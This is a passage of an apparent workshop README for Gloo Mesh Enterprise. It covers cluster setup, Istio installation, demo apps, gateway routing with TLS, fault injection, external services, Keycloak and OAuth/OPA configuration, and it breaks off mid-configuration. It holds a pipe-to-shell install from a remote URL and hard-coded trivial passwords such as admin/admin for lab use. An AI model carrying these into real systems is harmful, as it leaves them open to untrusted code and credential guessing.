- Introduction
- Lab 1 - Deploy a KinD cluster
- Lab 2 - Deploy and register Gloo Mesh
- Lab 3 - Deploy Istio using Gloo Mesh Lifecycle Manager
- Lab 4 - Deploy the Bookinfo demo app
- Lab 5 - Deploy the httpbin demo app
- Lab 6 - Deploy Gloo Mesh Addons
- Lab 7 - Create a single workspace
- Lab 8 - Expose the productpage through a gateway
- Lab 9 - Traffic policies
- Lab 10 - Expose an external service
- Lab 11 - Deploy Keycloak
- Lab 12 - Securing the access with OAuth
- Lab 13 - Use the JWT filter to create headers from claims
- Lab 14 - Use the transformation filter to manipulate headers
- Lab 15 - Apply rate limiting to the Gateway
- Lab 16 - Use the Web Application Firewall filter
Gloo Mesh Enterprise is a management plane which makes it easy to operate Istio on one or many Kubernetes clusters deployed anywhere (any platform, anywhere).
The Gloo Mesh Enterprise subscription includes end to end Istio support:
- Upstream first
- Specialty builds available (FIPS, ARM, etc)
- Long Term Support (LTS) N-4
- Critical security patches
- Production break-fix
- One hour SLA Severity 1
- Install / upgrade
- Architecture and operational guidance, best practices
Gloo Mesh provides many unique features, including:
- multi-tenancy based on global workspaces
- zero trust enforcement
- global observability (centralized metrics and access logging)
- simplified cross cluster communications (using virtual destinations)
- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...)
You can find more information about Gloo Mesh in the official documentation:
https://docs.solo.io/gloo-mesh/latest/
Clone this repository and go to the directory where this README.md
file is.
Set the context environment variables:
export MGMT=cluster1
export CLUSTER1=cluster1
Run the following commands to deploy a Kubernetes cluster using Kind:
./scripts/deploy.sh 1 cluster1 us-west us-west-1
Then run the following commands to wait for all the Pods to be ready:
./scripts/check.sh cluster1
Note: If you run the check.sh
script immediately after the deploy.sh
script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again.
Once the check.sh
script completes, when you execute the kubectl get pods -A
command, you should see the following:
NAMESPACE NAME READY STATUS RESTARTS AGE
kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m
kube-system calico-node-przxs 1/1 Running 0 4h26m
kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m
kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m
kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m
kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m
kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m
kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m
kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m
local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m
metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m
metallb-system speaker-d7jkp 1/1 Running 0 4h26m
First of all, let's install the meshctl
CLI:
export GLOO_MESH_VERSION=v2.2.6
curl -sL https://run.solo.io/meshctl/install | sh -
export PATH=$HOME/.gloo-mesh/bin:$PATH
Run the following commands to deploy the Gloo Mesh management plane:
helm repo add gloo-mesh-enterprise https://storage.googleapis.com/gloo-mesh-enterprise/gloo-mesh-enterprise
helm repo update
kubectl --context ${MGMT} create ns gloo-mesh
helm upgrade --install gloo-mesh-enterprise gloo-mesh-enterprise/gloo-mesh-enterprise \
--namespace gloo-mesh --kube-context ${MGMT} \
--version=2.2.6 \
--set glooMeshMgmtServer.ports.healthcheck=8091 \
--set legacyMetricsPipeline.enabled=false \
--set metricsgateway.enabled=true \
--set metricsgateway.service.type=LoadBalancer \
--set glooMeshUi.serviceType=LoadBalancer \
--set mgmtClusterName=${MGMT} \
--set global.cluster=${MGMT} \
--set licenseKey=${GLOO_MESH_LICENSE_KEY}
kubectl --context ${MGMT} -n gloo-mesh rollout status deploy/gloo-mesh-mgmt-server
Then, you need to set the environment variable to tell the Gloo Mesh agents how to communicate with the management plane:
export ENDPOINT_GLOO_MESH=gloo-mesh-mgmt-server:9900
export HOST_GLOO_MESH=$(echo ${ENDPOINT_GLOO_MESH} | cut -d: -f1)
export ENDPOINT_METRICS_GATEWAY=gloo-metrics-gateway:4317
Check that the variables have correct values:
echo $HOST_GLOO_MESH
echo $ENDPOINT_GLOO_MESH
Finally, you need to register the cluster(s).
Here is how you register the first one:
helm repo add gloo-mesh-agent https://storage.googleapis.com/gloo-mesh-enterprise/gloo-mesh-agent
helm repo update
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: KubernetesCluster
metadata:
name: cluster1
namespace: gloo-mesh
spec:
clusterDomain: cluster.local
EOF
kubectl --context ${CLUSTER1} create ns gloo-mesh
helm upgrade --install gloo-mesh-agent gloo-mesh-agent/gloo-mesh-agent \
--namespace gloo-mesh \
--kube-context=${CLUSTER1} \
--set relay.serverAddress=${ENDPOINT_GLOO_MESH} \
--set relay.authority=gloo-mesh-mgmt-server.gloo-mesh \
--set rate-limiter.enabled=false \
--set ext-auth-service.enabled=false \
--set glooMeshPortalServer.enabled=false \
--set cluster=cluster1 \
--set metricscollector.enabled=true \
--set metricscollector.config.exporters.otlp.endpoint=\"${ENDPOINT_METRICS_GATEWAY}\" \
--version 2.2.6
Note that the registration can also be performed using meshctl cluster register
.
You can check the cluster(s) have been registered correctly using the following commands:
meshctl --kubecontext ${MGMT} check
pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/metrics | grep relay_push_clients_connected
You should get an output similar to this:
# HELP relay_push_clients_connected Current number of connected Relay push clients (Relay Agents).
# TYPE relay_push_clients_connected gauge
relay_push_clients_connected{cluster="cluster1"} 1
We are going to deploy Istio using Gloo Mesh Lifecycle Manager.
First of all, let's create Kubernetes services for the gateways:
registry=localhost:5000
kubectl --context ${CLUSTER1} create ns istio-gateways
kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-17 --overwrite
cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: v1
kind: Service
metadata:
labels:
app: istio-ingressgateway
istio: ingressgateway
name: istio-ingressgateway
namespace: istio-gateways
spec:
ports:
- name: http2
port: 80
protocol: TCP
targetPort: 8080
- name: https
port: 443
protocol: TCP
targetPort: 8443
selector:
app: istio-ingressgateway
istio: ingressgateway
revision: 1-17
type: LoadBalancer
EOF
It allows us to have full control on which Istio revision we want to use.
Then, we can tell Gloo Mesh to deploy the Istio control planes and the gateways in the cluster(s)
cat << EOF | kubectl --context ${MGMT} apply -f -
apiVersion: admin.gloo.solo.io/v2
kind: IstioLifecycleManager
metadata:
name: cluster1-installation
namespace: gloo-mesh
spec:
installations:
- clusters:
- name: cluster1
defaultRevision: true
revision: 1-17
istioOperatorSpec:
profile: minimal
hub: us-docker.pkg.dev/gloo-mesh/istio-workshops
tag: 1.17.1-solo
namespace: istio-system
values:
global:
meshID: mesh1
multiCluster:
clusterName: cluster1
network: cluster1
meshConfig:
accessLogFile: /dev/stdout
defaultConfig:
proxyMetadata:
ISTIO_META_DNS_CAPTURE: "true"
ISTIO_META_DNS_AUTO_ALLOCATE: "true"
components:
pilot:
k8s:
env:
- name: PILOT_ENABLE_K8S_SELECT_WORKLOAD_ENTRIES
value: "false"
ingressGateways:
- name: istio-ingressgateway
enabled: false
EOF
cat << EOF | kubectl --context ${MGMT} apply -f -
apiVersion: admin.gloo.solo.io/v2
kind: GatewayLifecycleManager
metadata:
name: cluster1-ingress
namespace: gloo-mesh
spec:
installations:
- clusters:
- name: cluster1
activeGateway: false
gatewayRevision: 1-17
istioOperatorSpec:
profile: empty
hub: us-docker.pkg.dev/gloo-mesh/istio-workshops
tag: 1.17.1-solo
values:
gateways:
istio-ingressgateway:
customService: true
components:
ingressGateways:
- name: istio-ingressgateway
namespace: istio-gateways
enabled: true
label:
istio: ingressgateway
---
apiVersion: admin.gloo.solo.io/v2
kind: GatewayLifecycleManager
metadata:
name: cluster1-eastwest
namespace: gloo-mesh
spec:
installations:
- clusters:
- name: cluster1
activeGateway: false
gatewayRevision: 1-17
istioOperatorSpec:
profile: empty
hub: us-docker.pkg.dev/gloo-mesh/istio-workshops
tag: 1.17.1-solo
values:
gateways:
istio-ingressgateway:
customService: true
components:
ingressGateways:
- name: istio-eastwestgateway
namespace: istio-gateways
enabled: true
label:
istio: eastwestgateway
topology.istio.io/network: cluster1
k8s:
env:
- name: ISTIO_META_ROUTER_MODE
value: "sni-dnat"
- name: ISTIO_META_REQUESTED_NETWORK_VIEW
value: cluster1
EOF
Set the environment variable for the service corresponding to the Istio Ingress Gateway of the cluster(s):
export ENDPOINT_HTTP_GW_CLUSTER1=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}'):80
export ENDPOINT_HTTPS_GW_CLUSTER1=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}'):443
export HOST_GW_CLUSTER1=$(echo ${ENDPOINT_HTTP_GW_CLUSTER1} | cut -d: -f1)
We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh.
You can find more information about this application here.
Run the following commands to deploy the bookinfo application on cluster1
:
curl https://raw.githubusercontent.com/istio/istio/release-1.16/samples/bookinfo/platform/kube/bookinfo.yaml > bookinfo.yaml
kubectl --context ${CLUSTER1} create ns bookinfo-frontends
kubectl --context ${CLUSTER1} create ns bookinfo-backends
kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-17 --overwrite
kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-17 --overwrite
# deploy the frontend bookinfo service in the bookinfo-frontends namespace
kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f bookinfo.yaml -l 'account in (productpage)'
kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f bookinfo.yaml -l 'app in (productpage)'
kubectl --context ${CLUSTER1} -n bookinfo-backends apply -f bookinfo.yaml -l 'account in (reviews,ratings,details)'
# deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3
kubectl --context ${CLUSTER1} -n bookinfo-backends apply -f bookinfo.yaml -l 'app in (reviews,ratings,details),version notin (v3)'
# Update the productpage deployment to set the environment variables to define where the backend services are running
kubectl --context ${CLUSTER1} -n bookinfo-frontends set env deploy/productpage-v1 DETAILS_HOSTNAME=details.bookinfo-backends.svc.cluster.local
kubectl --context ${CLUSTER1} -n bookinfo-frontends set env deploy/productpage-v1 REVIEWS_HOSTNAME=reviews.bookinfo-backends.svc.cluster.local
# Update the reviews service to display where it is coming from
kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1}
kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1}
You can check that the app is running using the following command:
kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods
Note that we deployed the productpage
service in the bookinfo-frontends
namespace and the other services in the bookinfo-backends
namespace.
And we deployed the v1
and v2
versions of the reviews
microservice, not the v3
version.
We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh.
You can find more information about this application here.
Run the following commands to deploy the httpbin app on cluster1
. The deployment will be called not-in-mesh
and won't have the sidecar injected (because we don't label the namespace).
kubectl --context ${CLUSTER1} create ns httpbin
kubectl --context ${CLUSTER1} apply -n httpbin -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: not-in-mesh
---
apiVersion: v1
kind: Service
metadata:
name: not-in-mesh
labels:
app: not-in-mesh
service: not-in-mesh
spec:
ports:
- name: http
port: 8000
targetPort: 80
selector:
app: not-in-mesh
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: not-in-mesh
spec:
replicas: 1
selector:
matchLabels:
app: not-in-mesh
version: v1
template:
metadata:
labels:
app: not-in-mesh
version: v1
spec:
serviceAccountName: not-in-mesh
containers:
- image: docker.io/kennethreitz/httpbin
imagePullPolicy: IfNotPresent
name: not-in-mesh
ports:
- containerPort: 80
EOF
Then, we deploy a second version, which will be called in-mesh
and will have the sidecar injected (because of the label istio.io/rev
in the Pod template).
kubectl --context ${CLUSTER1} apply -n httpbin -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: in-mesh
---
apiVersion: v1
kind: Service
metadata:
name: in-mesh
labels:
app: in-mesh
service: in-mesh
spec:
ports:
- name: http
port: 8000
targetPort: 80
selector:
app: in-mesh
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: in-mesh
spec:
replicas: 1
selector:
matchLabels:
app: in-mesh
version: v1
template:
metadata:
labels:
app: in-mesh
version: v1
istio.io/rev: 1-17
spec:
serviceAccountName: in-mesh
containers:
- image: docker.io/kennethreitz/httpbin
imagePullPolicy: IfNotPresent
name: in-mesh
ports:
- containerPort: 80
EOF
You can follow the progress using the following command:
kubectl --context ${CLUSTER1} -n httpbin get pods
NAME READY STATUS RESTARTS AGE
in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s
not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s
To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons.
First, you need to create a namespace for the addons, with Istio injection enabled:
kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons
kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-17 --overwrite
Then, you can deploy the addons on the cluster(s) using Helm:
helm upgrade --install gloo-mesh-agent-addons gloo-mesh-agent/gloo-mesh-agent \
--namespace gloo-mesh-addons \
--kube-context=${CLUSTER1} \
--set cluster=cluster1 \
--set glooMeshAgent.enabled=false \
--set glooMeshPortalServer.enabled=true \
--set rate-limiter.enabled=true \
--set ext-auth-service.enabled=true \
--version 2.2.6
This is how to environment looks like now:
We're going to create a single workspace. We assume that multi tenancy isn't something we want to implement right now. on both clusters:
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: Workspace
metadata:
name: all
namespace: gloo-mesh
spec:
workloadClusters:
- name: '*'
namespaces:
- name: '*'
EOF
After that, we create a WorkspaceSettings
Kubernetes object in one of the namespaces of the all
workspace:
kubectl apply --context ${CLUSTER1} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
name: all
namespace: default
spec: {}
EOF
In this step, we're going to expose the productpage
service through the Ingress Gateway using Gloo Mesh.
The Gateway team must create a VirtualGateway
to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests.
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: VirtualGateway
metadata:
name: north-south-gw
namespace: istio-gateways
spec:
workloads:
- selector:
labels:
istio: ingressgateway
cluster: cluster1
listeners:
- http: {}
port:
number: 80
allowedRouteTables:
- host: '*'
EOF
Then, the Gateway team should create a parent RouteTable
to configure the main routing.
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: main
namespace: istio-gateways
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: istio-gateways
cluster: cluster1
workloadSelectors: []
http:
- name: root
matchers:
- uri:
prefix: /
delegate:
routeTables:
- labels:
expose: "true"
EOF
In this example, you can see that the Gateway team is delegating the routing details to the bookinfo
and httpbin
workspaces. The teams in charge of these workspaces can expose their services through the gateway.
The Gateway team can use this main RouteTable
to enforce a global WAF policy, but also to have control on which hostnames and paths can be used by each application team.
Then, the Bookinfo team can create a RouteTable
to determine how they want to handle the traffic.
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: productpage
namespace: bookinfo-frontends
labels:
expose: "true"
spec:
http:
- name: productpage
matchers:
- uri:
exact: /productpage
- uri:
prefix: /static
- uri:
exact: /login
- uri:
exact: /logout
- uri:
prefix: /api/v1/products
forwardTo:
destinations:
- ref:
name: productpage
namespace: bookinfo-frontends
port:
number: 9080
EOF
You should now be able to access the productpage
application through the browser.
Get the URL to access the productpage
service using the following command:
echo "http://${ENDPOINT_HTTP_GW_CLUSTER1}/productpage"
Gloo Mesh translates the VirtualGateway
and RouteTable
into the corresponding Istio objects (Gateway
and VirtualService
).
Now, let's secure the access through TLS.
Let's first create a private key and a self-signed certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout tls.key -out tls.crt -subj "/CN=*"
Then, you have to store them in a Kubernetes secrets running the following commands:
kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \
--from-file=tls.key=tls.key \
--from-file=tls.crt=tls.crt
Finally, the Gateway team needs to update the VirtualGateway
to use this secret:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: VirtualGateway
metadata:
name: north-south-gw
namespace: istio-gateways
spec:
workloads:
- selector:
labels:
istio: ingressgateway
cluster: cluster1
listeners:
- http: {}
port:
number: 80
# ---------------- Redirect to https --------------------
httpsRedirect: true
# -------------------------------------------------------
- http: {}
# ---------------- SSL config ---------------------------
port:
number: 443
tls:
mode: SIMPLE
secretName: tls-secret
# -------------------------------------------------------
allowedRouteTables:
- host: '*'
EOF
You can now access the productpage
application securely through the browser.
Get the URL to access the productpage
service using the following command:
echo "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/productpage"
This diagram shows the flow of the request (through the Istio Ingress Gateway):
We're going to use Gloo Mesh policies to inject faults and configure timeouts.
Let's create the following FaultInjectionPolicy
to inject a delay when the v2
version of the reviews
service talk to the ratings
service:
cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: resilience.policy.gloo.solo.io/v2
kind: FaultInjectionPolicy
metadata:
name: ratings-fault-injection
namespace: bookinfo-backends
spec:
applyToRoutes:
- route:
labels:
fault_injection: "true"
config:
delay:
fixedDelay: 2s
percentage: 100
EOF
As you can see, it will be applied to all the routes that have the label fault_injection
set to "true"
.
So, you need to create a RouteTable
with this label set in the corresponding route.
cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: ratings
namespace: bookinfo-backends
spec:
hosts:
- 'ratings.bookinfo-backends.svc.cluster.local'
workloadSelectors:
- selector:
labels:
app: reviews
http:
- name: ratings
labels:
fault_injection: "true"
matchers:
- uri:
prefix: /
forwardTo:
destinations:
- ref:
name: ratings
namespace: bookinfo-backends
port:
number: 9080
EOF
If you refresh the webpage, you should see that it takes longer to get the productpage
loaded when version v2
of the reviews
services is called.
Now, let's configure a 0.5s request timeout when the productpage
service calls the reviews
service on cluster1.
You need to create the following RetryTimeoutPolicy
:
cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: resilience.policy.gloo.solo.io/v2
kind: RetryTimeoutPolicy
metadata:
name: reviews-request-timeout
namespace: bookinfo-backends
spec:
applyToRoutes:
- route:
labels:
request_timeout: "0.5s"
config:
requestTimeout: 0.5s
EOF
As you can see, it will be applied to all the routes that have the label request_timeout
set to "0.5s"
.
Then, you need to create a RouteTable
with this label set in the corresponding route.
cat << EOF | kubectl --context ${CLUSTER1} apply -f -
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: reviews
namespace: bookinfo-backends
spec:
hosts:
- 'reviews.bookinfo-backends.svc.cluster.local'
workloadSelectors:
- selector:
labels:
app: productpage
http:
- name: reviews
labels:
request_timeout: "0.5s"
matchers:
- uri:
prefix: /
forwardTo:
destinations:
- ref:
name: reviews
namespace: bookinfo-backends
port:
number: 9080
subset:
version: v2
EOF
If you refresh the page several times, you'll see an error message telling that reviews are unavailable when the productpage is trying to communicate with the version v2
of the reviews
service.
This diagram shows where the timeout and delay have been applied:
Let's delete the Gloo Mesh objects we've created:
kubectl --context ${CLUSTER1} -n bookinfo-backends delete faultinjectionpolicy ratings-fault-injection
kubectl --context ${CLUSTER1} -n bookinfo-backends delete routetable ratings
kubectl --context ${CLUSTER1} -n bookinfo-backends delete retrytimeoutpolicy reviews-request-timeout
kubectl --context ${CLUSTER1} -n bookinfo-backends delete routetable reviews
In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh.
Let's create an ExternalService
corresponding to httpbin.org
:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: ExternalService
metadata:
name: httpbin
namespace: httpbin
labels:
expose: "true"
spec:
hosts:
- httpbin.org
ports:
- name: http
number: 80
protocol: HTTP
- name: https
number: 443
protocol: HTTPS
clientsideTls: {}
EOF
Now, you can create a RouteTable
to expose httpbin.org
through the gateway:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin
labels:
expose: "true"
spec:
http:
- name: httpbin
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- kind: EXTERNAL_SERVICE
port:
number: 443
ref:
name: httpbin
namespace: httpbin
EOF
You should now be able to access httpbin.org
external service through the gateway.
Get the URL to access the httpbin
service using the following command:
echo "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/get"
Let's update the RouteTable
to direct 50% of the traffic to the local httpbin
service:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin
labels:
expose: "true"
spec:
http:
- name: httpbin
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- kind: EXTERNAL_SERVICE
port:
number: 443
ref:
name: httpbin
namespace: httpbin
weight: 50
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
weight: 50
EOF
If you refresh your browser, you should see that you get a response either from the local service or from the external service.
When the response comes from the external service (httpbin.org), there's a X-Amzn-Trace-Id
header.
And when the response comes from the local service, there's a X-B3-Parentspanid
header.
Finally, you can update the RouteTable
to direct all the traffic to the local httpbin
service:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin
labels:
expose: "true"
spec:
http:
- name: httpbin
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
If you refresh your browser, you should see that you get responses only from the local service.
This diagram shows the flow of the requests :
In many use cases, you need to restrict the access to your applications to authenticated users.
OIDC (OpenID Connect) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations.
The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token.
In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later.
Let's install it:
kubectl --context ${MGMT} create namespace keycloak
cat data/steps/deploy-keycloak/keycloak.yaml | kubectl --context ${MGMT} -n keycloak apply -f -
kubectl --context ${MGMT} -n keycloak rollout status deploy/keycloak
Then, we will configure it and create two users:
-
User1 credentials:
user1/password
Email: [email protected] -
User2 credentials:
user2/password
Email: [email protected]
Let's set the environment variables we need:
export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080
export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK} | cut -d: -f1)
export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK} | cut -d: -f2)
export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK}
Now, we need to get a token:
export KEYCLOAK_TOKEN=$(curl -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token)
After that, we configure Keycloak:
# Create initial token to register the client
read -r client token <<<$(curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"expiration": 0, "count": 1}' $KEYCLOAK_URL/admin/realms/master/clients-initial-access | jq -r '[.id, .token] | @tsv')
export KEYCLOAK_CLIENT=${client}
# Register the client
read -r id secret <<<$(curl -X POST -d "{ \"clientId\": \"${KEYCLOAK_CLIENT}\" }" -H "Content-Type:application/json" -H "Authorization: bearer ${token}" ${KEYCLOAK_URL}/realms/master/clients-registrations/default| jq -r '[.id, .secret] | @tsv')
export KEYCLOAK_SECRET=${secret}
# Add allowed redirect URIs
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X PUT -H "Content-Type: application/json" -d '{"serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://${ENDPOINT_HTTPS_GW_CLUSTER1}'/callback","'https://${ENDPOINT_HTTPS_GW_CLUSTER1}'/get"]}' $KEYCLOAK_URL/admin/realms/master/clients/${id}
# Add the group attribute in the JWT token returned by Keycloak
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": {"claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true"}}' $KEYCLOAK_URL/admin/realms/master/clients/${id}/protocol-mappers/models
# Create first user
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"username": "user1", "email": "[email protected]", "enabled": true, "attributes": {"group": "users"}, "credentials": [{"type": "password", "value": "password", "temporary": false}]}' $KEYCLOAK_URL/admin/realms/master/users
# Create second user
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"username": "user2", "email": "[email protected]", "enabled": true, "attributes": {"group": "users"}, "credentials": [{"type": "password", "value": "password", "temporary": false}]}' $KEYCLOAK_URL/admin/realms/master/users
Note: If you get a Not Authorized error, please, re-run this command and continue from the command started to fail:
KEYCLOAK_TOKEN=$(curl -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token)
In this step, we're going to secure the access to the httpbin
service using OAuth.
First, we need to create a Kubernetes Secret that contains the OIDC secret:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
name: oauth
namespace: httpbin
type: extauth.solo.io/oauth
data:
client-secret: $(echo -n ${KEYCLOAK_SECRET} | base64)
EOF
Then, you need to create an ExtAuthPolicy
, which is a CRD that contains authentication information:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: ExtAuthPolicy
metadata:
name: httpbin
namespace: httpbin
spec:
applyToRoutes:
- route:
labels:
oauth: "true"
config:
server:
name: ext-auth-server
namespace: httpbin
cluster: cluster1
glooAuth:
configs:
- oauth2:
oidcAuthorizationCode:
appUrl: "https://${ENDPOINT_HTTPS_GW_CLUSTER1}"
callbackPath: /callback
clientId: ${KEYCLOAK_CLIENT}
clientSecretRef:
name: oauth
namespace: httpbin
issuerUrl: "${KEYCLOAK_URL}/realms/master/"
session:
failOnFetchFailure: true
redis:
cookieName: keycloak-session
options:
host: redis:6379
scopes:
- email
headers:
idTokenHeader: jwt
EOF
After that, you need to create an ExtAuthServer
, which is a CRD that define which extauth server to use:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: ExtAuthServer
metadata:
name: ext-auth-server
namespace: httpbin
spec:
destinationServer:
ref:
cluster: cluster1
name: ext-auth-service
namespace: gloo-mesh-addons
port:
name: grpc
EOF
Finally, you need to update the RouteTable
to use this ExtAuthPolicy
:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin
labels:
expose: "true"
spec:
http:
- name: httpbin
labels:
oauth: "true"
matchers:
- uri:
exact: /get
- uri:
exact: /logout
- uri:
prefix: /callback
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
If you refresh the web browser, you will be redirected to the authentication page.
If you use the username user1
and the password password
you should be redirected back to the httpbin
application.
You can also perform authorization using OPA.
First, you need to create a ConfigMap
with the policy written in rego:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
name: allow-solo-email-users
namespace: httpbin
data:
policy.rego: |-
package test
default allow = false
allow {
[header, payload, signature] = io.jwt.decode(input.state.jwt)
endswith(payload["email"], "@solo.io")
}
EOF
Then, you need to update the ExtAuthPolicy
object to add the authorization step:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: ExtAuthPolicy
metadata:
name: httpbin
namespace: httpbin
spec:
applyToRoutes:
- route:
labels:
oauth: "true"
config:
server:
name: ext-auth-server
namespace: httpbin
cluster: cluster1
glooAuth:
configs:
- oauth2:
oidcAuthorizationCode:
appUrl: "https://${ENDPOINT_HTTPS_GW_CLUSTER1}"
callbackPath: /callback
clientId: ${KEYCLOAK_CLIENT}
clientSecretRef:
name: oauth
namespace: httpbin
issuerUrl: "${KEYCLOAK_URL}/realms/master/"
logoutPath: /logout
